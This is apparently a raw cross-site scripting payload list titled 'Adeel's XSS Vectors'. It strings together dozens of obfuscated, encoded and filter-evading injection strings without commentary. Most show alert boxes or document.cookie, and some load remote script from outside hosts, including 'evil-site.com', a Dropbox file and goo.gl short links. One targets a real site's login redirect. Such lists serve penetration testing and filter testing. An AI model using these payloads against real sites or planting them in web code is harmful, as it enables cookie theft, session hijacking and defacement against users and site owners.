ADEEL’S XSS VECTORS      ';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>  <img src=javascript:alert(&quot;XSS&quot;)>  <img src=javascript:alert(String.fromCharCode(88,83,83))>   <img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>  <img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>   <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29  <SCRIPT>x=/XSS/  alert(x.source)</SCRIPT>  <SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT>   <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a  //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\  /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>  &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00  http://www.google<script .com>alert(document.location)</script>   "'><img src=x onerror=alert('XSS-Vulnerability-Discovered-By-Adeel-Imtiaz')>   <script>alert(document.cookie)</script>  "'><img src=x onerror=prompt('XSS-Vulnerability-in-LAST-NAME')>    -1"><img src=x onerror=confirm(1);>   #<svg onload="alert(1)">  <iframe/onload=action=/confir/.source+'m';eval(action)(1)> \ <svg/onload=window.onerror=alert;throw/XSS/;//  #"><img src=x onerror=alert(2);>   http://www.<script>alert(1)</script>.com  "'><img src=x onerror=prompt(document.cookie)>  #"><img src=x onerror=alert('\u0041');>  <img src="x:gif" onerror="alert(0)">  <img src="x:gif" onerror="window['al\u0065rt']  <<SCRIPT>alert("XSS");//<</SCRIPT>   <SCRIPT>alert(/XSS/.source)</SCRIPT>  </TITLE><SCRIPT>alert("XSS");</SCRIPT>  <BODY ONLOAD=alert('XSS')>   <iframe/ /onload=alert(/XSS/)></iframe>    (0)"></img>  http://www.<script>alert(1)</script>.com   <svg><script>alert&#40/1/.source&#41</script>  <isindex type=image src=1 onerror=alert(1)>  ">|<script>alert(1);</script>  <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">  <script>document.charset="ぅふっ✭♪❐";alert(document.charset)/*Adeel-Imtiaz*/</script>  <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:p&Tab;r&Tab;o&Tab;m&Tab;p&Tab;t&Tab;%28&Tab;'XSS'&Tab;%29></iframe>  <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>  <embed/src=//goo.gl/nlX0P>  <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>  <isindex action="javas&Tab;cript:alert(1)" type=image>  <a href="=//goo.gl/nlX0P">=//goo.gl/nlX0P</a>  <object/type="text/x-scriptlet"/data="data:X,&#60script&#62setInterval&lpar;'prompt(1)',10&rpar;&#60/script&#62"></object>  http://www.<script abc>setTimeout('confirm(1)',1)</script .com>  <style/onload    =    !-alert&#x28;1&#x29;>  <a href="javascript:var m=new Map();m.set(window,1);confirm(m.get(window));">X</a>  <input value=<><iframe/src=javascript:confirm(1) <iframe/src="javascript:var h,r=new XMLHttpRequest();r.open('GET','location',false);r.send(null);h=r.getAllResponseHeaders(); alert(h)">  <IFRAME SRC="javascript:alert('XSS');"></IFRAME>  <svg><;(1)trela=daolno ;''=e>'=d  <iframe/src='javascript:!1?1:!1?1:confirm(1)'>  <iframe/width="1"/height="1"/src=//goo.gl/nlX0P seamless>  <keygen/name="confirm(1)"/onfocus="eval(this.name);">   <img/src="x"/id="javascript"/name=":confirm"/alt="(1)"/onerror="eval(id + name + alt)">  <svg/onload="document.body.innerHTML='';i=new Image();i.src='http://goo.gl/riKAZ5 '; document.body.appendChild(i)">  <svg onload=alert(1)> <svg/onload=prompt(0);>  <style/&Tab;/onload=;&Tab;this&Tab;.&Tab;onload=confirm(1)  <img/src='http://i.imgur.com/P8mL8.jpg ' onmouseover={confirm(1)}f()>  <a/onclick="i=createElement('iframe');i.src='javascript:alert(1)';x=parentNode;x.appendChild(i);"/href=#>Click</a>  &quot;&gt;&lt;img src=x onerror=confirm(1);&gt;   <svg/onload=javascript:void(0)?void(0):void(0)?void(0):void(0)?void(0):void(0)?void(0):confirm(location)>   <iframe/src="javascript:var h,r=new XMLHttpRequest();r.open('GET','location',false);r.send(null);h=r.getAllResponseHeaders(); alert(h)">    <a/href="javascript:i=new this.Image&lpar;&rpar;;i.this.onerror=confirm%28 1%29;">X</a>  <cite><a href="j&Tab;avascript:'<a href=javascript:alert(1);>X</a>'">X</a></cite>  <cite><a href="javascript:confirm(1);">XSS cited!</a></cite>    <script>with(this){confirm(window.location);}</script>  <script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"></script>   <body/onload="javascript:S='pro';V='mpt';G='\x281\x29';setInterval(S+V+G,0);">  <style/id='script&#58prompt(location)'/onload=window&#46eval(this&#46id);>    <script>a=/constructor/;b=/alert(1)/;[][a.source][a.source](b.source)();</script>  <keygen/onfocus=prompt(1); autofocus>     <iframe/name="javascript:confirm(1);"onload="while(1){eval(name);}">   <img/src=x alt=confirm(1) onmouseover=eval(alt)>   '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|  \><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex  formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)  </script>"><img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>    '">><marquee><img src=x onerror=prompt(‘XSS’)></marquee>"></plaintext\></| \><plaintext     From:"><img src=x onerror=alert(1);> "  http://www.<script>alert(1)</script>.com <script>alert(1);</script> <script>alert(1);</script>   <scr%00ipt>alert(1)</sc%00ript> "'><img src=x onerror=prompt(document.cookie)>  "'><img src=x onerror=prompt(document.location)> 	 "'><img src=x onerror=prompt(document.domain)> <a href=javascript&colon;prompt&lpar;document&period;cookie&rpar;>Click Here To Review XSS </a>  <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME>   &lt;img src=x onerror=alert("XSS") /&gt;  "'><img src="http://usaherald.com/wp-content/uploads/2013/05/A2.jpg" />   "'><img src="http://scm-l3.technorati.com/11/05/21/34841/hacker.jpg" />  "'><img src="http://businessintheblack.com/wp-content/uploads/2012/07/hacks_hacked_sites.png" />  http://vimeo.com/67119206  1&redirect_uri=http  <a href=javascript&colon;prompt&lpar;document&period;cookie&rpar;>Click Here</a> <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a> <a href=javascript&colon;prompt&lpar;document&period;cookie&rpar;>Click Here To Review XSS </a>  95) "><img src=x onerror=window.open('https://www.google.com/');> 59) <img src="/" =_=" title="onerror='prompt(1)'"> 56) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> 57) <var onmouseover="prompt(1)">On Mouse Over</var> "><img src=x onerror=window.open('https://www.google.com/');>  <--`<img/src=` onerror=alert(1)> --!>  90) <script x> alert(1) </script 1=2 91) <div/onmouseover='alert(1)'> style="x:"> <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>  <math><a xlink:href="//jsfiddle.net/t846h/">click <input value=<><iframe/src=javascript:confirm(1) <svg/onload=prompt(1) <var onmouseover="prompt(1)">On Mouse Over</var>  //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>// &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}  <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">   <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>  '">><marquee><img src=x onerror=confirm('XSS')></marquee>"></plaintext\></|  \><plaintext/onmouseover=prompt('ON-MOUSE-OVER')><script>prompt(2)</script>@gmail.com<isindex  formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(‘XSS’)  </script>"><img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>    '">><marquee><img src=x onerror=prompt('XSS')></marquee>">  </plaintext\></|  \><plaintext/onmouseover=prompt('ON-MOUSE-OVER')><script>prompt(1)</script> 02134993792  "><img/id="prompt&lpar;'XSS'&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>  http://hq.squidoo.com/wp-login.php?redirect_to=http://hq.squidoo.com/forums/forum/new-introduce-yourself/   http://hq.squidoo.com/wp-login.php?redirect_to=http://www.<script>alert(1)</script>.com   ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//\";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))</SCRIPT> '';!--"<CrossSiteScripting>=&{()}    >"<script>alert(document.cookie)</script>@gmail.com       <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510  <audio src=1 onerror=alert(1)>  <video src=1 onerror=alert(1)>  foo%00<script>alert(document.cookie)</script>  <svg onload="javascript:alert(123)" xmlns="#"></svg>  <? foo="><script>alert(1)</script>"> <! foo="><script>alert(1)</script>"> </ foo="><script>alert(1)</script>">  </TITLE><SCRIPT>alert("XSS");</SCRIPT>   <a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>  <isindex formaction=javascript:alert(1)>